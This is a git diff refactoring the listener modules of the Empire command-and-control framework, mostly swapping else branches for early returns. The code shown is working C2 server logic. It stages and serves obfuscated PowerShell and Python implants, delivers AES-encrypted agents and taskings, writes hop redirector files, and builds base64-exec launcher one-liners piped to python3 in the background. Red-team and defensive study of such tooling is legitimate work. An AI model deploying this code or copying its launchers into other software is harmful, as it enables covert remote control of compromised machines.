'python' are currently supported for this module." + ) + return None def start_server(self, listenerOptions): """ @@ -860,7 +850,7 @@ def send_stager(stager, hop=None): proxyCreds=proxyCreds, ) - elif stager == "python": + if stager == "python": return self.mainMenu.stagers.generate_launcher( listenerName=hop or listenerName, language="python", @@ -872,7 +862,7 @@ def send_stager(stager, hop=None): proxyCreds=proxyCreds, ) - elif stager == "ironpython": + if stager == "ironpython": if hop: options = copy.deepcopy(self.options) options["Listener"] = {} @@ -1007,101 +997,90 @@ def handle_get(request_uri): routingPacket = None pass - if routingPacket: - # parse the routing packet and process the results + if not routingPacket: + listenerName = self.options["Name"]["Value"] + message = f"{listenerName}: {request_uri} requested by {clientIP} with no routing packet." + self.instance_log.error(message) + return make_response(self.default_response(), 404) - dataResults = self.mainMenu.agents.handle_agent_data( - stagingKey, routingPacket, listenerOptions, clientIP - ) - if dataResults and len(dataResults) > 0: - for language, results in dataResults: - if results: - if isinstance(results, str): - results = results.encode("UTF-8") - if results == b"STAGE0": - # handle_agent_data() signals that the listener should return the stager.ps1 code - # step 2 of negotiation -> return stager.ps1 (stage 1) - message = f"{listenerName}: Sending {language} stager (stage 1) to {clientIP}" - self.instance_log.info(message) - log.info(message) - - # Check for hop listener - hopListenerName = request.headers.get("Hop-Name") - hopListener = self.mainMenu.listenersv2.get_active_listener_by_name( - hopListenerName - ) - - with SessionLocal() as db: - obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( - db, language - ) - - if hopListener: - stage = hopListener.generate_stager( - language=language, - listenerOptions=hopListener.options, - obfuscate=( - False - if not obf_config - else obf_config.enabled - ), - obfuscation_command=( - "" - if not obf_config - else obf_config.command - ), - ) - - else: - stage = self.generate_stager( - language=language, - listenerOptions=listenerOptions, - obfuscate=( - False - if not obf_config - else obf_config.enabled - ), - obfuscation_command=( - "" - if not obf_config - else obf_config.command - ), - ) - return make_response(stage, 200) - - elif results.startswith(b"ERROR:"): - listenerName = self.options["Name"]["Value"] - message = f"{listenerName}: Error from agents.handle_agent_data() for {request_uri} from {clientIP}: {results}" - self.instance_log.error(message) - - if b"not in cache" in results: - # signal the client to restage - log.info( - f"{listenerName}: Orphaned agent from {clientIP}, signaling restaging" - ) - return make_response(self.default_response(), 401) - else: - return make_response(self.default_response(), 200) + # parse the routing packet and process the results + dataResults = self.mainMenu.agents.handle_agent_data( + stagingKey, routingPacket, listenerOptions, clientIP + ) + + if not dataResults or len(dataResults) <= 0: + return make_response(self.default_response(), 200) + + for language, results in dataResults: + if not results: + message = f"{listenerName}: Results are None for {request_uri} from {clientIP}" + self.instance_log.debug(message) + return make_response(self.default_response(), 200) + + if isinstance(results, str): + results = results.encode("UTF-8") + if results == b"STAGE0": + # handle_agent_data() signals that the listener should return the stager.ps1 code + # step 2 of negotiation -> return stager.ps1 (stage 1) + message = f"{listenerName}: Sending {language} stager (stage 1) to {clientIP}" + self.instance_log.info(message) + log.info(message) + + # Check for hop listener + hopListenerName = request.headers.get("Hop-Name") + hopListener = self.mainMenu.listenersv2.get_active_listener_by_name( + hopListenerName + ) + + with SessionLocal() as db: + obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( + db, language + ) + + if hopListener: + stage = hopListener.generate_stager( + language=language, + listenerOptions=hopListener.options, + obfuscate=( + False if not obf_config else obf_config.enabled + ), + obfuscation_command=( + "" if not obf_config else obf_config.command + ), + ) - else: - # actual taskings - listenerName = self.options["Name"]["Value"] - message = f"{listenerName}: Agent from {clientIP} retrieved taskings" - self.instance_log.info(message) - return make_response(results, 200) else: - message = f"{listenerName}: Results are None for {request_uri} from {clientIP}" - self.instance_log.debug(message) - return make_response(self.default_response(), 200) - return None - else: + stage = self.generate_stager( + language=language, + listenerOptions=listenerOptions, + obfuscate=( + False if not obf_config else obf_config.enabled + ), + obfuscation_command=( + "" if not obf_config else obf_config.command + ), + ) + return make_response(stage, 200) + + if results.startswith(b"ERROR:"): + listenerName = self.options["Name"]["Value"] + message = f"{listenerName}: Error from agents.handle_agent_data() for {request_uri} from {clientIP}: {results}" + self.instance_log.error(message) + + if b"not in cache" in results: + # signal the client to restage + log.info( + f"{listenerName}: Orphaned agent from {clientIP}, signaling restaging" + ) + return make_response(self.default_response(), 401) return make_response(self.default_response(), 200) - else: + # actual taskings listenerName = self.options["Name"]["Value"] - message = f"{listenerName}: {request_uri} requested by {clientIP} with no routing packet." - self.instance_log.error(message) - return make_response(self.default_response(), 404) + message = f"{listenerName}: Agent from {clientIP} retrieved taskings" + self.instance_log.info(message) + return make_response(results, 200) + return None @app.route("/", methods=["POST"]) def handle_post(request_uri): @@ -1121,106 +1100,94 @@ def handle_post(request_uri): dataResults = self.mainMenu.agents.handle_agent_data( stagingKey, requestData, listenerOptions, clientIP ) - if dataResults and len(dataResults) > 0: - for language, results in dataResults: - if isinstance(results, str): - results = results.encode("UTF-8") - - if results: - if results.startswith(b"STAGE2"): - # TODO: document the exact results structure returned - if ":" in clientIP: - clientIP = "[" + str(clientIP) + "]" - sessionID = results.split(b" ")[1].strip().decode("UTF-8") - sessionKey = self.mainMenu.agents.agents[sessionID][ - "sessionKey" - ] - - listenerName = self.options["Name"]["Value"] - message = f"{listenerName}: Sending agent (stage 2) to {sessionID} at {clientIP}" - self.instance_log.info(message) - log.info(message) - - hopListenerName = request.headers.get("Hop-Name") - - # Check for hop listener - hopListener = data_util.get_listener_options( - hopListenerName - ) - tempListenerOptions = copy.deepcopy(listenerOptions) - if hopListener is not None: - tempListenerOptions["Host"]["Value"] = ( - hopListener.options["Host"]["Value"] - ) - with SessionLocal.begin() as db: - db_agent = self.mainMenu.agentsv2.get_by_id( - db, sessionID - ) - db_agent.listener = hopListenerName - else: - tempListenerOptions = listenerOptions + if not dataResults or len(dataResults) <= 0: + return make_response(self.default_response(), 404) - session_info = ( - SessionLocal() - .query(models.Agent) - .filter(models.Agent.session_id == sessionID) - .first() - ) - if session_info.language == "ironpython": - version = "ironpython" - else: - version = "" - - # step 6 of negotiation -> server sends patched agent.ps1/agent.py - with SessionLocal() as db: - obf_config = ( - self.mainMenu.obfuscationv2.get_obfuscation_config( - db, language - ) - ) - agentCode = self.generate_agent( - language=language, - listenerOptions=tempListenerOptions, - obfuscate=( - False if not obf_config else obf_config.enabled - ), - obfuscation_command=( - "" if not obf_config else obf_config.command - ), - version=version, - ) - - if language.lower() in ["python", "ironpython"]: - sessionKey = bytes.fromhex(sessionKey) - - encryptedAgent = encryption.aes_encrypt_then_hmac( - sessionKey, agentCode - ) - # TODO: wrap ^ in a routing packet? - - return make_response(encryptedAgent, 200) - - elif results[:10].lower().startswith(b"error") or results[ - :10 - ].lower().startswith(b"exception"): - listenerName = self.options["Name"]["Value"] - message = f"{listenerName}: Error returned for results by {clientIP} : {results}" - self.instance_log.error(message) - return make_response(self.default_response(), 404) - elif results.startswith(b"VALID"): - listenerName = self.options["Name"]["Value"] - message = ( - f"{listenerName}: Valid results returned by {clientIP}" - ) - self.instance_log.info(message) - return make_response(self.default_response(), 200) - else: - return make_response(results, 200) + for language, results in dataResults: + if isinstance(results, str): + results = results.encode("UTF-8") + + if not results: + return make_response(self.default_response(), 404) + + if results.startswith(b"STAGE2"): + # TODO: document the exact results structure returned + if ":" in clientIP: + clientIP = "[" + str(clientIP) + "]" + sessionID = results.split(b" ")[1].strip().decode("UTF-8") + sessionKey = self.mainMenu.agents.agents[sessionID]["sessionKey"] + + listenerName = self.options["Name"]["Value"] + message = f"{listenerName}: Sending agent (stage 2) to {sessionID} at {clientIP}" + self.instance_log.info(message) + log.info(message) + + hopListenerName = request.headers.get("Hop-Name") + + # Check for hop listener + hopListener = data_util.get_listener_options(hopListenerName) + tempListenerOptions = copy.deepcopy(listenerOptions) + if hopListener is not None: + tempListenerOptions["Host"]["Value"] = hopListener.options[ + "Host" + ]["Value"] + with SessionLocal.begin() as db: + db_agent = self.mainMenu.agentsv2.get_by_id(db, sessionID) + db_agent.listener = hopListenerName else: - return make_response(self.default_response(), 404) - return None - else: - return make_response(self.default_response(), 404) + tempListenerOptions = listenerOptions + + session_info = ( + SessionLocal() + .query(models.Agent) + .filter(models.Agent.session_id == sessionID) + .first() + ) + if session_info.language == "ironpython": + version = "ironpython" + else: + version = "" + + # step 6 of negotiation -> server sends patched agent.ps1/agent.py + with SessionLocal() as db: + obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( + db, language + ) + agentCode = self.generate_agent( + language=language, + listenerOptions=tempListenerOptions, + obfuscate=(False if not obf_config else obf_config.enabled), + obfuscation_command=( + "" if not obf_config else obf_config.command + ), + version=version, + ) + + if language.lower() in ["python", "ironpython"]: + sessionKey = bytes.fromhex(sessionKey) + + encryptedAgent = encryption.aes_encrypt_then_hmac( + sessionKey, agentCode + ) + # TODO: wrap ^ in a routing packet? + + return make_response(encryptedAgent, 200) + + elif results[:10].lower().startswith(b"error") or results[ + :10 + ].lower().startswith(b"exception"): + listenerName = self.options["Name"]["Value"] + message = f"{listenerName}: Error returned for results by {clientIP} : {results}" + self.instance_log.error(message) + return make_response(self.default_response(), 404) + elif results.startswith(b"VALID"): + listenerName = self.options["Name"]["Value"] + message = f"{listenerName}: Valid results returned by {clientIP}" + self.instance_log.info(message) + return make_response(self.default_response(), 200) + else: + return make_response(results, 200) + return None try: certPath = listenerOptions["CertPath"]["Value"] diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index 8f4a4da7a..a1de2180b 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -315,15 +315,13 @@ def generate_launcher( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) ): return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager + # otherwise return the case-randomized stager + return stager - else: - log.error( - "listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." - ) - return None + log.error( + "listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." + ) + return None def generate_stager( self, @@ -411,20 +409,18 @@ def generate_stager( # base64 encode the stager and return it if encode: return helpers.enc_powershell(stager) - elif encrypt: + if encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4( RC4IV + stagingKey, stager.encode("UTF-8") ) - else: - # otherwise just return the case-randomized stager - return stager + # otherwise just return the case-randomized stager + return stager - else: - log.error( - "listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module." - ) - return None + log.error( + "listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module." + ) + return None def generate_agent( self, @@ -479,11 +475,10 @@ def generate_agent( return code - else: - log.error( - "listeners/http_com generate_agent(): invalid language specification, only 'powershell' is currently supported for this module." - ) - return None + log.error( + "listeners/http_com generate_agent(): invalid language specification, only 'powershell' is currently supported for this module." + ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -494,31 +489,30 @@ def generate_comms(self, listenerOptions, language=None): host = listenerOptions["Host"]["Value"] requestHeader = listenerOptions["RequestHeader"]["Value"] - if language: - if language.lower() == "powershell": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] + if not language: + log.error("listeners/http_com generate_comms(): no language specified!") + return None - eng = templating.TemplateEngine(template_path) - template = eng.get_template("http_com/http_com.ps1") + if language.lower() == "powershell": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] - template_options = { - "host": host, - "request_headers": requestHeader, - } + eng = templating.TemplateEngine(template_path) + template = eng.get_template("http_com/http_com.ps1") - return template.render(template_options) + template_options = { + "host": host, + "request_headers": requestHeader, + } - else: - log.error( - "listeners/http_com generate_comms(): invalid language specification, only 'powershell' is currently supported for this module." - ) - return None - else: - log.error("listeners/http_com generate_comms(): no language specified!") - return None + return template.render(template_options) + + log.error( + "listeners/http_com generate_comms(): invalid language specification, only 'powershell' is currently supported for this module." + ) + return None def start_server(self, listenerOptions): """ @@ -564,8 +558,7 @@ def send_stager(stager): obfuscation_command=obfuscation_command, ) - else: - return make_response(self.default_response(), 404) + return make_response(self.default_response(), 404) @app.before_request def check_ip(): @@ -658,77 +651,65 @@ def handle_get(request_uri): # if isinstance(results, str): - if routingPacket: - # parse the routing packet and process the results + if not routingPacket: + listenerName = self.options["Name"]["Value"] + message = f"{listenerName}: {request_uri} requested by {clientIP} with no routing packet." + self.instance_log.error(message) + return make_response(self.default_response(), 404) - dataResults = self.mainMenu.agents.handle_agent_data( - stagingKey, routingPacket, listenerOptions, clientIP - ) + # parse the routing packet and process the results + dataResults = self.mainMenu.agents.handle_agent_data( + stagingKey, routingPacket, listenerOptions, clientIP + ) - if dataResults and len(dataResults) > 0: - for language, results in dataResults: - if results: - if results == "STAGE0": - # handle_agent_data() signals that the listener should return the stager.ps1 code - - # step 2 of negotiation -> return stager.ps1 (stage 1) - listenerName = self.options["Name"]["Value"] - message = f"{listenerName}: Sending {language} stager (stage 1) to {clientIP}" - self.instance_log.info(message) - log.info(message) - - with SessionLocal() as db: - obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( - db, language - ) - stage = self.generate_stager( - language=language, - listenerOptions=listenerOptions, - obfuscate=( - False - if not obf_config - else obf_config.enabled - ), - obfuscation_command=( - "" if not obf_config else obf_config.command - ), - ) - return make_response(base64.b64encode(stage), 200) - - elif results.startswith(b"ERROR:"): - listenerName = self.options["Name"]["Value"] - message = f"{listenerName}: Error from agents.handle_agent_data() for {request_uri} from {clientIP}: {results}" - self.instance_log.error(message) - - if "not in cache" in results: - # signal the client to restage - log.info( - f"Orphaned agent from {clientIP}, signaling restaging" - ) - return make_response(self.default_response(), 401) - else: - return make_response(self.default_response(), 404) - - else: - # actual taskings - listenerName = self.options["Name"]["Value"] - message = f"Agent from {clientIP} retrieved taskings" - self.instance_log.info(message) - return make_response(base64.b64encode(results), 200) - else: - self.instance_log.debug( - f"{listenerName}: Results are None..." - ) - return make_response(self.default_response(), 404) - return None - else: + if not dataResults or len(dataResults) <= 0: + return make_response(self.default_response(), 404) + + for language, results in dataResults: + if not results: + self.instance_log.debug(f"{listenerName}: Results are None...") return make_response(self.default_response(), 404) - else: + if results == "STAGE0": + # handle_agent_data() signals that the listener should return the stager.ps1 code + + # step 2 of negotiation -> return stager.ps1 (stage 1) + listenerName = self.options["Name"]["Value"] + message = f"{listenerName}: Sending {language} stager (stage 1) to {clientIP}" + self.instance_log.info(message) + log.info(message) + + with SessionLocal() as db: + obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( + db, language + ) + stage = self.generate_stager( + language=language, + listenerOptions=listenerOptions, + obfuscate=(False if not obf_config else obf_config.enabled), + obfuscation_command=( + "" if not obf_config else obf_config.command + ), + ) + return make_response(base64.b64encode(stage), 200) + + if results.startswith(b"ERROR:"): + listenerName = self.options["Name"]["Value"] + message = f"{listenerName}: Error from agents.handle_agent_data() for {request_uri} from {clientIP}: {results}" + self.instance_log.error(message) + + if "not in cache" in results: + # signal the client to restage + log.info(f"Orphaned agent from {clientIP}, signaling restaging") + return make_response(self.default_response(), 401) + return make_response(self.default_response(), 404) + + # actual taskings listenerName = self.options["Name"]["Value"] - message = f"{listenerName}: {request_uri} requested by {clientIP} with no routing packet." - self.instance_log.error(message) - return make_response(self.default_response(), 404) + message = f"Agent from {clientIP} retrieved taskings" + self.instance_log.info(message) + return make_response(base64.b64encode(results), 200) + return None @app.route("/", methods=["POST"]) def handle_post(request_uri): @@ -749,75 +730,64 @@ def handle_post(request_uri): dataResults = self.mainMenu.agents.handle_agent_data( stagingKey, requestData, listenerOptions, clientIP ) - if dataResults and len(dataResults) > 0: - for language, results in dataResults: - if isinstance(results, str): - results = results.encode("UTF-8") - if results: - if results.startswith(b"STAGE2"): - # TODO: document the exact results structure returned - sessionID = results.split(b" ")[1].strip().decode("UTF-8") - sessionKey = self.mainMenu.agents.agents[sessionID][ - "sessionKey" - ] - - listenerName = self.options["Name"]["Value"] - message = f"{listenerName}: Sending agent (stage 2) to {sessionID} at {clientIP}" - self.instance_log.info(message) - log.info(message) - - # step 6 of negotiation -> server sends patched agent.ps1/agent.py - with SessionLocal() as db: - obf_config = ( - self.mainMenu.obfuscationv2.get_obfuscation_config( - db, language - ) - ) - agentCode = self.generate_agent( - language=language, - listenerOptions=listenerOptions, - obfuscate=( - False if not obf_config else obf_config.enabled - ), - obfuscation_command=( - "" if not obf_config else obf_config.command - ), - ) - - if language.lower() in ["python", "ironpython"]: - sessionKey = bytes.fromhex(sessionKey) - - encrypted_agent = encryption.aes_encrypt_then_hmac( - sessionKey, agentCode - ) - # TODO: wrap ^ in a routing packet? - - return make_response( - base64.b64encode(encrypted_agent), 200 - ) - - elif results[:10].lower().startswith(b"error") or results[ - :10 - ].lower().startswith(b"exception"): - listenerName = self.options["Name"]["Value"] - message = f"{listenerName}: Error returned for results by {clientIP} : {results}" - self.instance_log.error(message) - return make_response(self.default_response(), 200) - elif results == b"VALID": - listenerName = self.options["Name"]["Value"] - message = ( - f"{listenerName}: Valid results return by {clientIP}" - ) - self.instance_log.info(message) - return make_response(self.default_response(), 200) - else: - return make_response(base64.b64encode(results), 200) - else: - return make_response(self.default_response(), 404) - return None - else: + if not dataResults or len(dataResults) <= 0: return make_response(self.default_response(), 404) + for language, results in dataResults: + if isinstance(results, str): + results = results.encode("UTF-8") + if not results: + return make_response(self.default_response(), 404) + if results.startswith(b"STAGE2"): + # TODO: document the exact results structure returned + sessionID = results.split(b" ")[1].strip().decode("UTF-8") + sessionKey = self.mainMenu.agents.agents[sessionID]["sessionKey"] + + listenerName = self.options["Name"]["Value"] + message = f"{listenerName}: Sending agent (stage 2) to {sessionID} at {clientIP}" + self.instance_log.info(message) + log.info(message) + + # step 6 of negotiation -> server sends patched agent.ps1/agent.py + with SessionLocal() as db: + obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( + db, language + ) + agentCode = self.generate_agent( + language=language, + listenerOptions=listenerOptions, + obfuscate=(False if not obf_config else obf_config.enabled), + obfuscation_command=( + "" if not obf_config else obf_config.command + ), + ) + + if language.lower() in ["python", "ironpython"]: + sessionKey = bytes.fromhex(sessionKey) + + encrypted_agent = encryption.aes_encrypt_then_hmac( + sessionKey, agentCode + ) + # TODO: wrap ^ in a routing packet? + + return make_response(base64.b64encode(encrypted_agent), 200) + + elif results[:10].lower().startswith(b"error") or results[ + :10 + ].lower().startswith(b"exception"): + listenerName = self.options["Name"]["Value"] + message = f"{listenerName}: Error returned for results by {clientIP} : {results}" + self.instance_log.error(message) + return make_response(self.default_response(), 200) + elif results == b"VALID": + listenerName = self.options["Name"]["Value"] + message = f"{listenerName}: Valid results return by {clientIP}" + self.instance_log.info(message) + return make_response(self.default_response(), 200) + else: + return make_response(base64.b64encode(results), 200) + return None + try: certPath = listenerOptions["CertPath"]["Value"] host = listenerOptions["Host"]["Value"] diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index d611da3e9..c12ed667f 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -283,9 +283,8 @@ def generate_launcher( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) ): return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager + # otherwise return the case-randomized stager + return stager if language in ["python", "ironpython"]: launcherBase = "import sys;" @@ -375,14 +374,12 @@ def generate_launcher( if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode("UTF-8") return f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - else: - return launcherBase + return launcherBase - else: - log.error( - "listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." - ) - return None + log.error( + "listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + ) + return None def generate_stager( self, @@ -418,46 +415,45 @@ def generate_comms(self, listenerOptions, language=None): """ host = listenerOptions["Host"]["Value"] - if language: - if language.lower() == "powershell": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] + if not language: + log.error("listeners/http_foreign generate_comms(): no language specified!") + return None - eng = templating.TemplateEngine(template_path) - template = eng.get_template("http/http.ps1") + if language.lower() == "powershell": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] - template_options = { - "session_cookie": self.session_cookie, - "host": host, - } + eng = templating.TemplateEngine(template_path) + template = eng.get_template("http/http.ps1") - return template.render(template_options) + template_options = { + "session_cookie": self.session_cookie, + "host": host, + } - elif language.lower() == "python": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] - eng = templating.TemplateEngine(template_path) - template = eng.get_template("http/comms.py") + return template.render(template_options) - template_options = { - "session_cookie": self.session_cookie, - "host": host, - } + if language.lower() == "python": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] + eng = templating.TemplateEngine(template_path) + template = eng.get_template("http/comms.py") - return template.render(template_options) + template_options = { + "session_cookie": self.session_cookie, + "host": host, + } - else: - log.error( - "listeners/http_foreign generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." - ) - return None - else: - log.error("listeners/http_foreign generate_comms(): no language specified!") - return None + return template.render(template_options) + + log.error( + "listeners/http_foreign generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." + ) + return None def start(self): """ diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index 525cc5be6..0f5528205 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -230,9 +230,8 @@ def generate_launcher( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) ): return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager + # otherwise return the case-randomized stager + return stager if language in ["python", "ironpython"]: # Python @@ -324,14 +323,12 @@ def generate_launcher( "UTF-8" ) return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" - else: - return launcherBase + return launcherBase - else: - log.error( - "listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." - ) - return None + log.error( + "listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + ) + return None def generate_stager( self, @@ -424,13 +421,12 @@ def generate_stager( # if/else statements are irrelevant if encode: return helpers.enc_powershell(stager) - elif encrypt: + if encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4( RC4IV + staging_key, stager.encode("UTF-8") ) - else: - return stager + return stager if language in ["python", "ironpython"]: template_path = [ @@ -470,15 +466,13 @@ def generate_stager( return RC4IV + encryption.rc4( RC4IV + staging_key.encode("UTF-8"), stager.encode("UTF-8") ) - else: - # otherwise return the standard stager - return stager + # otherwise return the standard stager + return stager - else: - log.error( - "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." - ) - return None + log.error( + "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) + return None def generate_agent( self, listenerOptions, language=None, obfuscate=False, obfuscation_command="" @@ -498,46 +492,45 @@ def generate_comms(self, listenerOptions, language=None): """ host = listenerOptions["Host"]["Value"] - if language: - if language.lower() == "powershell": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] + if not language: + log.error("listeners/http_hop generate_comms(): no language specified!") + return None - eng = templating.TemplateEngine(template_path) - template = eng.get_template("http/http.ps1") + if language.lower() == "powershell": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] - template_options = { - "session_cookie": "", - "host": host, - } + eng = templating.TemplateEngine(template_path) + template = eng.get_template("http/http.ps1") - return template.render(template_options) + template_options = { + "session_cookie": "", + "host": host, + } - elif language.lower() == "python": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] - eng = templating.TemplateEngine(template_path) - template = eng.get_template("http/comms.py") + return template.render(template_options) - template_options = { - "session_cookie": "", - "host": host, - } + if language.lower() == "python": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] + eng = templating.TemplateEngine(template_path) + template = eng.get_template("http/comms.py") - return template.render(template_options) + template_options = { + "session_cookie": "", + "host": host, + } - else: - log.error( - "listeners/http_hop generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." - ) - return None - else: - log.error("listeners/http_hop generate_comms(): no language specified!") - return None + return template.render(template_options) + + log.error( + "listeners/http_hop generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." + ) + return None def start(self): """ @@ -548,52 +541,49 @@ def start(self): redirectListenerName = self.options["RedirectListener"]["Value"] redirectListenerOptions = data_util.get_listener_options(redirectListenerName) - if redirectListenerOptions: - self.options["RedirectStagingKey"]["Value"] = ( - redirectListenerOptions.options["StagingKey"]["Value"] - ) - self.options["DefaultProfile"]["Value"] = redirectListenerOptions.options[ - "DefaultProfile" - ]["Value"] - redirectHost = redirectListenerOptions.options["Host"]["Value"] - - uris = list( - self.options["DefaultProfile"]["Value"].split("|")[0].split(",") - ) - - hopCodeLocation = f"{self.mainMenu.installPath}/data/misc/hop.php" - with open(hopCodeLocation) as f: - hopCode = f.read() - - hopCode = hopCode.replace("REPLACE_SERVER", redirectHost) - hopCode = hopCode.replace("REPLACE_HOP_NAME", self.options["Name"]["Value"]) - - saveFolder = self.options["OutFolder"]["Value"] - for uri in uris: - saveName = f"{saveFolder}{uri}" - - # recursively create the file's folders if they don't exist - if not os.path.exists(os.path.dirname(saveName)): - try: - os.makedirs(os.path.dirname(saveName)) - except OSError as exc: # Guard against race condition - if exc.errno != errno.EEXIST: - raise - - with open(saveName, "w") as f: - f.write(hopCode) - log.info( - f"Hop redirector written to {saveName} . Place this file on the redirect server." - ) - - return True - - else: + if not redirectListenerOptions: log.error( f"Redirect listener name {redirectListenerName} not a valid listener!" ) return False + self.options["RedirectStagingKey"]["Value"] = redirectListenerOptions.options[ + "StagingKey" + ]["Value"] + self.options["DefaultProfile"]["Value"] = redirectListenerOptions.options[ + "DefaultProfile" + ]["Value"] + redirectHost = redirectListenerOptions.options["Host"]["Value"] + + uris = list(self.options["DefaultProfile"]["Value"].split("|")[0].split(",")) + + hopCodeLocation = f"{self.mainMenu.installPath}/data/misc/hop.php" + with open(hopCodeLocation) as f: + hopCode = f.read() + + hopCode = hopCode.replace("REPLACE_SERVER", redirectHost) + hopCode = hopCode.replace("REPLACE_HOP_NAME", self.options["Name"]["Value"]) + + saveFolder = self.options["OutFolder"]["Value"] + for uri in uris: + saveName = f"{saveFolder}{uri}" + + # recursively create the file's folders if they don't exist + if not os.path.exists(os.path.dirname(saveName)): + try: + os.makedirs(os.path.dirname(saveName)) + except OSError as exc: # Guard against race condition + if exc.errno != errno.EEXIST: + raise + + with open(saveName, "w") as f: + f.write(hopCode) + log.info( + f"Hop redirector written to {saveName} . Place this file on the redirect server." + ) + + return True + def shutdown(self, name=""): """ Nothing to actually shut down for a hop listener. diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index f2e936c3a..ccbeaa402 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -449,10 +449,9 @@ def generate_launcher( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) ): return helpers.powershell_launcher(launcherBase, launcher) - else: - return launcherBase + return launcherBase - elif language in ["python", "ironpython"]: + if language in ["python", "ironpython"]: # ==== HANDLE IMPORTS ==== launcherBase = "import sys,base64\n" launcherBase += "import urllib.request,urllib.parse\n" @@ -569,14 +568,12 @@ def generate_launcher( if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode("UTF-8") return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - else: - return launcherBase + return launcherBase - else: - log.error( - "listeners/template generate_launcher(): invalid language specification: c# is currently not supported for this module." - ) - return None + log.error( + "listeners/template generate_launcher(): invalid language specification: c# is currently not supported for this module." + ) + return None def generate_stager( self, @@ -670,15 +667,14 @@ def generate_stager( if encode: return helpers.enc_powershell(stager) - elif encrypt: + if encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4( RC4IV + stagingKey, stager.encode("UTF-8") ) - else: - return stager + return stager - elif language.lower() == "python": + if language.lower() == "python": comms_code = self.generate_comms( listenerOptions=listenerOptions, language=language ) @@ -710,19 +706,16 @@ def generate_stager( if encode: return base64.b64encode(stager) - elif encrypt: + if encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4( RC4IV + stagingKey.encode("UTF-8"), stager.encode("UTF-8") ) - else: - return stager - - else: - log.error( - "listeners/http_malleable generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." - ) + return stager + log.error( + "listeners/http_malleable generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) return None def generate_agent( @@ -788,7 +781,7 @@ def generate_agent( return code - elif language == "python": + if language == "python": # read in the agent base if version == "ironpython": f = self.mainMenu.installPath + "/data/agent/ironpython_agent.py" @@ -817,11 +810,11 @@ def generate_agent( code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code - else: - log.error( - "listeners/http_malleable generate_agent(): invalid language specification, only 'powershell' 